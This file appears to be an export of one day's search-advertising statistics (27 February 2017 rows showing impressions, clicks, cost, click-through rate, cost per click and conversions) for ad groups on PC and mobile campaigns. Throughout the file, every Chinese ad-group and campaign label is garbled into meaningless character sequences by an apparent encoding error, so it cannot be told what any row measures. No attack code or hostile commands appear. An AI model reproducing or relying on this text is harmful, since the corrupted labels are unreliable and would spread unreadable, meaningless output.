+"2017-02-26","ʴʣѯۣ","M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","˰M",730,76,402.63,10.41%,5.30,2,0,0 +"2017-02-26","ҵʣVң","˰M",48,6,28.77,12.50%,4.79,1,0,0 +"2017-02-26","ҵʣ","˰M",109,19,100.94,17.43%,5.31,2,0,0 +"2017-02-26","ҵʣҪ","˰M",1288,81,416.85,6.29%,5.15,7,0,0 +"2017-02-26","ҵʣ","˰M",153,19,91.58,12.42%,4.82,1,0,0 +"2017-02-26","ʴʣѯۣ","˰M",519,51,166.43,9.83%,3.26,1,0,0 +"2017-02-26","绰","˰M",111,9,29.03,8.11%,3.23,0,0,0 +"2017-02-26","ʴʣģ","˰M",78,9,44.58,11.54%,4.95,0,0,0 +"2017-02-26","վ/ƽ̨","˰M",4,1,5.06,25.00%,5.06,0,0,0 +"2017-02-26","ҵʣŷ","PC",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","PC",222,7,13.28,3.15%,1.90,1,0,0 +"2017-02-26","ҵʣγ̣","PC",54,3,3.88,5.56%,1.29,0,0,0 +"2017-02-26","ʴʣѯۣ","PC",35,3,3.89,8.57%,1.30,0,0,0 +"2017-02-26","ҵʣ","PC",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣγ̣","M",199,2,3.47,1.01%,1.74,0,0,0 +"2017-02-26","ҵʣ","M",1099,20,50.54,1.82%,2.53,3,0,0 +"2017-02-26","ʴʣѯۣ","M",33,1,0.88,3.03%,0.88,0,0,0 +"2017-02-26","ҵʣ","M",26,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","ͥM",558,45,161.49,8.06%,3.59,5,0,0 +"2017-02-26","ҵʣ","ͥM",38,1,4.00,2.63%,4.00,0,0,0 +"2017-02-26","ҵʣ","ͥM",111,6,17.21,5.41%,2.87,0,0,0 +"2017-02-26","ҵʣ๤","ͥM",206,11,26.39,5.34%,2.40,0,0,0 +"2017-02-26","ҵʣģ","ͥM",2213,108,338.83,4.88%,3.14,5,0,0 +"2017-02-26","ʴʣѯۣ","ͥM",187,24,33.52,12.83%,1.40,1,0,0 +"2017-02-26","ʴʣģ","ͥM",24,1,2.60,4.17%,2.60,1,0,0 +"2017-02-26","ҵʣ","ͥPC",93,3,11.54,3.23%,3.85,0,0,0 +"2017-02-26","ҵʣģ","ͥPC",615,18,72.85,2.93%,4.05,0,0,0 +"2017-02-26","ʴʣѯۣ","ͥPC",11,1,1.43,9.09%,1.43,0,0,0 +"2017-02-26","˾","ͥPC",68,1,0.75,1.47%,0.75,0,0,0 +"2017-02-26","ҵʣ","ͥPC",17,1,3.34,5.88%,3.34,0,0,0 +"2017-02-26","ҵʣ๤","ͥPC",52,2,6.46,3.85%,3.23,0,0,0 +"2017-02-26","ʴʣģ","ͥPC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣҪ","ӵ㹤PC",87,4,6.06,4.60%,1.51,0,0,0 +"2017-02-26","ҵʣʱ","ӵ㹤PC",3,2,1.54,66.67%,0.77,0,0,0 +"2017-02-26","ҵʣ","ӵ㹤PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","ӵ㹤PC",10,1,1.88,10.00%,1.88,0,0,0 +"2017-02-26","ҵʣβ","ӵ㹤PC",125,13,32.67,10.40%,2.51,0,0,0 +"2017-02-26","˾","ӵ㹤PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ/ƽ̨","ӵ㹤PC",7,2,3.25,28.57%,1.62,0,0,0 +"2017-02-26","ҵʣ̣","ӵ㹤PC",119,6,7.21,5.04%,1.20,0,0,0 +"2017-02-26","ҵʣ","ӵ㹤PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","XX/ʦ","M",16,1,2.13,6.25%,2.13,0,0,0 +"2017-02-26","N+","M",914,55,169.74,6.02%,3.09,3,0,0 +"2017-02-26","ѯ","M",258,17,27.70,6.59%,1.63,0,0,0 +"2017-02-26","ļ/","M",119,7,15.33,5.88%,2.19,0,0,0 +"2017-02-26","N+","PC",245,8,29.15,3.27%,3.64,0,0,0 +"2017-02-26","ѯ","PC",6,1,1.93,16.67%,1.93,0,0,0 +"2017-02-26","XX/ʦ","PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ļ/","PC",11,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","˰PC",119,2,6.57,1.68%,3.29,0,0,0 +"2017-02-26","ҵʣVң","˰PC",17,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","˰PC",46,2,8.95,4.35%,4.47,0,0,0 +"2017-02-26","ʴʣѯۣ","˰PC",172,7,21.29,4.07%,3.04,0,0,0 +"2017-02-26","ҵʣ","˰PC",26,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣҪ","˰PC",656,14,64.82,2.13%,4.63,1,0,0 +"2017-02-26","绰","˰PC",26,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","˰PC",29,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ/ƽ̨","˰PC",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","յ+N/V","յװM",239,11,54.57,4.60%,4.96,2,0,0 +"2017-02-26","","յװM",236,6,29.12,2.54%,4.85,2,0,0 +"2017-02-26","ѯ","յװM",339,47,59.38,13.86%,1.26,1,0,0 +"2017-02-26","β+װ","յװM",557,26,131.40,4.67%,5.05,4,0,0 +"2017-02-26","+װ","յװM",60,9,47.35,15.00%,5.26,1,0,0 +"2017-02-26","","յװPC",30,1,6.55,3.33%,6.55,0,0,0 +"2017-02-26","ѯ","յװPC",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","յ+N/V","յװPC",115,1,5.46,0.87%,5.46,0,0,0 +"2017-02-26","+װ","յװPC",24,3,14.39,12.50%,4.80,0,0,0 +"2017-02-26","β+װ","յװPC",94,4,21.44,4.26%,5.36,1,0,0 +"2017-02-26","","ֻάPC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ô","ֻάPC",14,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","Ļ","ֻάPC",124,4,9.99,3.23%,2.50,2,0,0 +"2017-02-26","ѯ","ֻάPC",120,6,7.60,5.00%,1.27,0,0,0 +"2017-02-26","ֻ","ֻάPC",258,8,17.15,3.10%,2.14,1,0,0 +"2017-02-26","","ֻάPC",42,1,2.65,2.38%,2.65,1,0,0 +"2017-02-26","վ","ֻάPC",10,1,2.56,10.00%,2.56,0,0,0 +"2017-02-26","","ֻάPC",15,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","/","ֻάPC",180,5,7.24,2.78%,1.45,0,0,0 +"2017-02-26","","ֻάM",13,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ô","ֻάM",78,4,3.76,5.13%,0.94,0,0,0 +"2017-02-26","վ","ֻάM",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","ֻάM",73,4,7.06,5.48%,1.76,0,0,0 +"2017-02-26","ѯ","ֻάM",2090,140,154.69,6.70%,1.10,6,0,0 +"2017-02-26","Ļ","ֻάM",468,14,34.60,2.99%,2.47,1,0,0 +"2017-02-26","ֻ","ֻάM",574,21,49.58,3.66%,2.36,2,0,0 +"2017-02-26","","ֻάM",9,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","/","ֻάM",1391,72,158.60,5.18%,2.20,4,0,0 +"2017-02-26","ʴʣѯۣ","ݻָPC",37,1,0.86,2.70%,0.86,0,0,0 +"2017-02-26","ҵʣν","ݻָPC",156,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","ݻָPC",57,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","ݻָPC",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","ݻָPC",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","ݻָM",68,3,2.27,4.41%,0.76,0,0,0 +"2017-02-26","ҵʣ","ݻָM",421,7,7.10,1.66%,1.01,0,0,0 +"2017-02-26","ҵʣν","ݻָM",543,12,9.66,2.21%,0.81,2,0,0 +"2017-02-26","˾","ݻָM",128,2,2.92,1.56%,1.46,0,0,0 +"2017-02-26","ʴʣģ","ݻָM",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","ıPC",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","ıPC",17,4,20.31,23.53%,5.08,0,0,0 +"2017-02-26","ҵʣģ","ıPC",61,4,22.94,6.56%,5.74,0,0,0 +"2017-02-26","˾","ıPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","ıM",7,1,4.83,14.29%,4.83,0,0,0 +"2017-02-26","ʴʣѯۣ","ıM",32,4,11.37,12.50%,2.84,0,0,0 +"2017-02-26","ҵʣģ","ıM",230,26,127.47,11.30%,4.90,2,0,0 +"2017-02-26","˾","ıM",10,1,7.00,10.00%,7.00,0,0,0 +"2017-02-26","ҵʣ","ıM",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","㻤PC",128,9,28.29,7.03%,3.14,2,0,0 +"2017-02-26","ҵʣ㻤","㻤PC",32,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","㻤PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","㻤PC",96,16,16.38,16.67%,1.02,0,0,0 +"2017-02-26","վ/ƽ̨","㻤PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣXX","㻤PC",29,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ㻤","㻤M",324,19,89.41,5.86%,4.71,3,0,0 +"2017-02-26","ҵʣ","㻤M",495,45,190.84,9.09%,4.24,4,0,0 +"2017-02-26","ʴʣģ","㻤M",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","㻤M",134,14,19.61,10.45%,1.40,0,0,0 +"2017-02-26","ҵʣXX","㻤M",44,7,21.19,15.91%,3.03,0,0,0 +"2017-02-26","վ/ƽ̨","㻤M",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","㻤M",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","άM",1041,40,66.17,3.84%,1.65,0,0,0 +"2017-02-26","ҵʣ","άM",1170,33,121.69,2.82%,3.69,3,0,0 +"2017-02-26","ҵʣν","άM",923,24,87.45,2.60%,3.64,0,0,0 +"2017-02-26","վ/ƽ̨","άM",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","άM",22,2,4.34,9.09%,2.17,0,0,0 +"2017-02-26","ҵʣ","άM",49,1,4.23,2.04%,4.23,0,0,0 +"2017-02-26","绰","άM",16,1,3.97,6.25%,3.97,0,0,0 +"2017-02-26","ʴʣѯۣ","άPC",34,1,0.90,2.94%,0.90,0,0,0 +"2017-02-26","ҵʣ","άPC",259,5,13.87,1.93%,2.77,1,0,0 +"2017-02-26","ҵʣν","άPC",297,10,28.17,3.37%,2.82,1,0,0 +"2017-02-26","ʴʣģ","άPC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","άPC",11,1,3.41,9.09%,3.41,0,0,0 +"2017-02-26","ҵʣģ","PC",61,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","PC",56,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣβ","PC",21,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","PC",72,1,1.81,1.39%,1.81,0,0,0 +"2017-02-26","ʴʣѯۣ","PC",4,1,1.31,25.00%,1.31,0,0,0 +"2017-02-26","ʴʣģ","PC",5,1,1.15,20.00%,1.15,0,0,0 +"2017-02-26","ƽ̨/վ","PC",30,1,1.24,3.33%,1.24,0,0,0 +"2017-02-26","ҵʣβ","PC",73,1,0.33,1.37%,0.33,0,0,0 +"2017-02-26","ҵʣģ","M",468,33,44.72,7.05%,1.36,1,0,0 +"2017-02-26","ҵʣβ","M",24,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","M",85,7,9.11,8.24%,1.30,1,0,0 +"2017-02-26","ʴʣģ","M",11,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","M",258,8,16.42,3.10%,2.05,2,0,0 +"2017-02-26","ҵʣβ","M",189,10,10.59,5.29%,1.06,0,0,0 +"2017-02-26","ƽ̨/վ","M",122,6,9.66,4.92%,1.61,0,0,0 +"2017-02-26","ʴʣѯۣ","M",52,6,4.64,11.54%,0.77,0,0,0 +"2017-02-26","ʴʣѯۣ","סұķPC",119,16,12.11,13.45%,0.76,0,0,0 +"2017-02-26","ҵʣʣ","סұķPC",361,9,16.85,2.49%,1.87,0,0,0 +"2017-02-26","ҵʣ","סұķPC",77,2,1.28,2.60%,0.64,0,0,0 +"2017-02-26","վ","סұķPC",9,1,1.10,11.11%,1.10,0,0,0 +"2017-02-26","ʴʣģ","סұķPC",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣʣ","סұķM",1796,89,97.77,4.96%,1.10,1,0,0 +"2017-02-26","ҵʣ","סұķM",378,10,11.93,2.65%,1.19,1,0,0 +"2017-02-26","վ","סұķM",302,22,48.79,7.28%,2.22,1,0,0 +"2017-02-26","ʴʣѯۣ","סұķM",344,46,42.00,13.37%,0.91,1,0,0 +"2017-02-26","ʴʣģ","סұķM",20,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣʱ","ӵ㹤M",18,1,0.50,5.56%,0.50,0,0,0 +"2017-02-26","ҵʣ","ӵ㹤M",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","ӵ㹤M",62,4,3.72,6.45%,0.93,0,0,0 +"2017-02-26","ҵʣҪ","ӵ㹤M",243,9,10.56,3.70%,1.17,0,0,0 +"2017-02-26","ҵʣβ","ӵ㹤M",876,90,112.54,10.27%,1.25,8,0,0 +"2017-02-26","˾","ӵ㹤M",101,1,2.00,0.99%,2.00,0,0,0 +"2017-02-26","վ/ƽ̨","ӵ㹤M",28,8,11.03,28.57%,1.38,0,0,0 +"2017-02-26","ҵʣ̣","ӵ㹤M",379,30,36.71,7.92%,1.22,2,0,0 +"2017-02-26","ҵʣ","ӵ㹤M",52,2,2.80,3.85%,1.40,0,0,0 +"2017-02-26","绰","ҵάPC",17,1,4.34,5.88%,4.34,0,0,0 +"2017-02-26","ҵʣ+ţ","ҵάPC",15,1,2.35,6.67%,2.35,0,0,0 +"2017-02-26","ҵʣģ","ҵάPC",225,7,22.84,3.11%,3.26,1,0,0 +"2017-02-26","ʴʣѯۣ","ҵάPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ+ҵάޣ","ҵάPC",34,2,5.11,5.88%,2.56,1,0,0 +"2017-02-26","վ/ƽ̨","ҵάPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","绰","ҵάM",107,7,14.36,6.54%,2.05,1,0,0 +"2017-02-26","ʴʣ+У","ҵάM",29,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ+ҵάޣ","ҵάM",308,34,127.23,11.04%,3.74,4,0,0 +"2017-02-26","ҵʣ+ţ","ҵάM",86,5,16.28,5.81%,3.26,2,0,0 +"2017-02-26","ʴʣѯۣ","ҵάM",18,1,1.42,5.56%,1.42,0,0,0 +"2017-02-26","ҵʣģ","ҵάM",665,25,74.28,3.76%,2.97,0,0,0 +"2017-02-26","վ/ƽ̨","ҵάM",64,3,9.22,4.69%,3.07,0,0,0 +"2017-02-26","ܵͨҵʣ","ά޴PC",99,3,4.39,3.03%,1.46,0,0,0 +"2017-02-26","ˮ©ͼۣ","ά޴PC",117,1,2.43,0.85%,2.43,0,0,0 +"2017-02-26","ˮ©άޣ","ά޴PC",43,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ܵͨ绰","ά޴PC",28,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","绰","ˮάPC",9,1,3.85,11.11%,3.85,0,0,0 +"2017-02-26","ҵ(װά)","ˮάPC",238,5,16.44,2.10%,3.29,0,0,0 +"2017-02-26","ҵʣҪ","˰ҸPC",9,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣVң","˰ҸPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","˰ҸPC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","˰ҸPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","˰ҸPC",20,1,2.21,5.00%,2.21,0,0,0 +"2017-02-26","绰","˰ҸPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","绰","˰ҸM",12,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","˰ҸM",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","˰ҸM",5,1,2.50,20.00%,2.50,0,0,0 +"2017-02-26","ҵʣ","˰ҸM",4,1,2.50,25.00%,2.50,0,0,0 +"2017-02-26","ҵʣҪ","˰ҸM",15,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ/ƽ̨","˰ҸM",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","˰ҸM",22,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣVң","˰ҸM",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","+","ȩPC",50,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","ȩPC",40,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","ȩPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","ȩPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣν","ȩPC",97,2,5.85,2.06%,2.92,0,0,0 +"2017-02-26","ҵʣ","ȩPC",19,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","ȩM",69,6,14.66,8.70%,2.44,1,0,0 +"2017-02-26","ҵʣν","ȩM",428,5,15.85,1.17%,3.17,1,0,0 +"2017-02-26","˾","ȩM",273,6,21.87,2.20%,3.65,2,0,0 +"2017-02-26","+","ȩM",66,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","ȩM",31,1,4.20,3.23%,4.20,0,0,0 +"2017-02-26","ʴʣѯۣ","ȩM",28,3,5.96,10.71%,1.99,0,0,0 +"2017-02-26","ܵͨҵʣ","ά޴M",552,21,49.51,3.80%,2.36,1,0,0 +"2017-02-26","ˮ©ͼۣ","ά޴M",312,2,4.83,0.64%,2.42,0,0,0 +"2017-02-26","ˮ©άޣ","ά޴M",152,2,9.84,1.32%,4.92,0,0,0 +"2017-02-26","ܵͨ绰","ά޴M",29,1,2.26,3.45%,2.26,0,0,0 +"2017-02-26","ʴʣģ","-ӵ㹤PC",3,1,1.94,33.33%,1.94,0,0,0 +"2017-02-26","ҵʣ̣","-ӵ㹤PC",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣҪ","-ӵ㹤PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣβ","-ӵ㹤PC",67,13,22.72,19.40%,1.75,0,0,0 +"2017-02-26","ҵʣʱ","-ӵ㹤PC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-ӵ㹤PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","-ӵ㹤PC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-ӵ㹤PC",16,1,2.57,6.25%,2.57,0,0,0 +"2017-02-26","ҵʣҪ","-ӵ㹤M",722,67,114.10,9.28%,1.70,4,0,0 +"2017-02-26","ҵʣβ","-ӵ㹤M",170,18,27.93,10.59%,1.55,1,0,0 +"2017-02-26","ҵʣ̣","-ӵ㹤M",285,19,31.69,6.67%,1.67,2,0,0 +"2017-02-26","վ/ƽ̨","-ӵ㹤M",3,1,1.32,33.33%,1.32,0,0,0 +"2017-02-26","˾","-ӵ㹤M",42,1,1.21,2.38%,1.21,0,0,0 +"2017-02-26","ҵʣ","-ӵ㹤M",122,7,15.41,5.74%,2.20,0,0,0 +"2017-02-26","ҵʣʱ","-ӵ㹤M",221,11,11.88,4.98%,1.08,0,0,0 +"2017-02-26","ʴʣģ","-ӵ㹤M",14,2,2.51,14.29%,1.25,0,0,0 +"2017-02-26","ҵʣ","-ӵ㹤M",141,15,28.15,10.64%,1.88,1,0,0 +"2017-02-26","ʴʣѯۣ","-ҵάPC",5,3,5.55,60.00%,1.85,0,0,0 +"2017-02-26","绰","-ҵάPC",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ+ҵάޣ","-ҵάPC",37,2,7.18,5.41%,3.59,0,0,0 +"2017-02-26","ҵʣģ","-ҵάPC",173,1,2.26,0.58%,2.26,0,0,0 +"2017-02-26","ҵʣ+ţ","-ҵάPC",15,3,10.83,20.00%,3.61,2,0,0 +"2017-02-26","վ/ƽ̨","-ҵάM",11,1,2.86,9.09%,2.86,0,0,0 +"2017-02-26","ҵʣ+ţ","-ҵάM",83,11,32.61,13.25%,2.96,1,0,0 +"2017-02-26","ʴʣѯۣ","-ҵάM",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣ+У","-ҵάM",34,1,2.40,2.94%,2.40,0,0,0 +"2017-02-26","绰","-ҵάM",23,1,2.80,4.35%,2.80,0,0,0 +"2017-02-26","ҵʣ+ҵάޣ","-ҵάM",246,13,44.44,5.28%,3.42,1,0,0 +"2017-02-26","ҵʣģ","-ҵάM",706,27,73.17,3.82%,2.71,3,0,0 +"2017-02-26","˾","-M",188,11,16.14,5.85%,1.47,0,0,0 +"2017-02-26","ʴʣģ","-M",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","-M",56,8,10.08,14.29%,1.26,0,0,0 +"2017-02-26","ҵʣβ","-M",103,3,2.82,2.91%,0.94,0,0,0 +"2017-02-26","ƽ̨/վ","-M",27,3,3.31,11.11%,1.10,0,0,0 +"2017-02-26","ҵʣģ","-M",45,3,3.34,6.67%,1.11,0,0,0 +"2017-02-26","ҵʣģ","-M",75,1,1.49,1.33%,1.49,0,0,0 +"2017-02-26","ʴʣѯۣ","-PC",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","-PC",44,2,4.14,4.55%,2.07,1,0,0 +"2017-02-26","ҵʣģ","-PC",14,1,1.81,7.14%,1.81,0,0,0 +"2017-02-26","ҵʣβ","-PC",21,1,0.73,4.76%,0.73,0,0,0 +"2017-02-26","ҵʣģ","-PC",66,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","-PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ƽ̨/վ","-PC",16,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣVң","-˰M",5,1,4.14,20.00%,4.14,0,0,0 +"2017-02-26","ҵʣҪ","-˰M",229,15,65.23,6.55%,4.35,3,0,0 +"2017-02-26","ҵʣ","-˰M",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","-˰M",114,8,33.46,7.02%,4.18,1,0,0 +"2017-02-26","ҵʣ","-˰M",45,3,9.45,6.67%,3.15,0,0,0 +"2017-02-26","վ/ƽ̨","-˰M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣβ","-˰M",18,3,14.70,16.67%,4.90,1,0,0 +"2017-02-26","ʴʣѯۣ","-˰M",130,11,39.22,8.46%,3.57,3,0,0 +"2017-02-26","绰","-˰M",31,2,8.80,6.45%,4.40,0,0,0 +"2017-02-26","ʴʣģ","-˰PC",18,1,3.62,5.56%,3.62,0,0,0 +"2017-02-26","˾","-˰PC",123,4,14.39,3.25%,3.60,0,0,0 +"2017-02-26","ҵʣVң","-˰PC",27,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-˰PC",21,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣҪ","-˰PC",115,5,21.52,4.35%,4.30,1,0,0 +"2017-02-26","ʴʣѯۣ","-˰PC",133,6,20.40,4.51%,3.40,0,0,0 +"2017-02-26","ҵʣ","-˰PC",3,1,4.43,33.33%,4.43,1,0,0 +"2017-02-26","ҵʣβ","-˰PC",34,2,5.05,5.88%,2.52,0,0,0 +"2017-02-26","绰","-˰PC",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","-ֻάM",51,2,3.73,3.92%,1.86,0,0,0 +"2017-02-26","/","-ֻάM",210,9,16.47,4.29%,1.83,3,0,0 +"2017-02-26","Ļ","-ֻάM",263,2,5.12,0.76%,2.56,1,0,0 +"2017-02-26","ֻ","-ֻάM",192,6,15.68,3.12%,2.61,1,0,0 +"2017-02-26","ô","-ֻάM",7,1,0.56,14.29%,0.56,0,0,0 +"2017-02-26","","-ֻάM",14,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","-ֻάM",22,2,3.58,9.09%,1.79,0,0,0 +"2017-02-26","վ","-ֻάM",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ѯ","-ֻάM",1049,52,52.81,4.96%,1.02,3,0,0 +"2017-02-26","Ļ","-ֻάPC",55,1,1.94,1.82%,1.94,0,0,0 +"2017-02-26","ѯ","-ֻάPC",112,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ","-ֻάPC",9,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ô","-ֻάPC",36,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","-ֻάPC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","/","-ֻάPC",86,2,3.94,2.33%,1.97,0,0,0 +"2017-02-26","","-ֻάPC",19,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ֻ","-ֻάPC",68,1,2.65,1.47%,2.65,2,0,0 +"2017-02-26","ҵʣ","-ӵ㹤PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","-ӵ㹤PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣβ","-ӵ㹤PC",41,8,9.24,19.51%,1.16,1,0,0 +"2017-02-26","ҵʣҪ","-ӵ㹤PC",14,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ̣","-ӵ㹤PC",30,3,5.19,10.00%,1.73,0,0,0 +"2017-02-26","վ/ƽ̨","-ӵ㹤PC",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","-ӵ㹤PC",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣʱ","-ӵ㹤PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-ӵ㹤PC",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣʱ","-ӵ㹤M",83,7,9.28,8.43%,1.33,0,0,0 +"2017-02-26","վ/ƽ̨","-ӵ㹤M",1,1,1.80,100.00%,1.80,0,0,0 +"2017-02-26","ҵʣβ","-ӵ㹤M",140,15,23.31,10.71%,1.55,1,0,0 +"2017-02-26","ҵʣҪ","-ӵ㹤M",378,23,45.56,6.08%,1.98,0,0,0 +"2017-02-26","ʴʣģ","-ӵ㹤M",56,11,12.69,19.64%,1.15,0,0,0 +"2017-02-26","ҵʣ̣","-ӵ㹤M",113,6,9.22,5.31%,1.54,0,0,0 +"2017-02-26","˾","-ӵ㹤M",21,4,4.35,19.05%,1.09,0,0,0 +"2017-02-26","ҵʣ","-ӵ㹤M",68,8,16.80,11.76%,2.10,0,0,0 +"2017-02-26","ҵʣ","-ӵ㹤M",29,1,1.93,3.45%,1.93,0,0,0 +"2017-02-26","ֻάޣ","άศM",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ֻάޣѯۣ","άศM",479,14,11.95,2.92%,0.85,1,0,0 +"2017-02-26","ҵάվ","άศM",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵάޣģ","άศM",247,8,10.45,3.24%,1.31,2,0,0 +"2017-02-26","άޣģ","άศM",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣ","άศM",129,1,1.14,0.78%,1.14,0,0,0 +"2017-02-26","άޣν","άศM",217,3,4.13,1.38%,1.38,0,0,0 +"2017-02-26","ֻάޣ/㣩","άศM",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ֻάޣĻ","άศM",50,1,0.87,2.00%,0.87,1,0,0 +"2017-02-26","ҵά޵绰","άศM",14,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ֻάޣģ","άศM",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ֻάޣֻ","άศM",42,2,1.53,4.76%,0.77,0,0,0 +"2017-02-26","άޣѯۣ","άศM",50,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άվ/ƽ̨","άศM",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣ","άศM",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","-","ศM",30,1,0.70,3.33%,0.70,0,0,0 +"2017-02-26","-","ศM",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ͥ-˾","ศM",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ͥ-","ศM",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ͥ-ѯ","ศM",2,1,1.00,50.00%,1.00,0,0,0 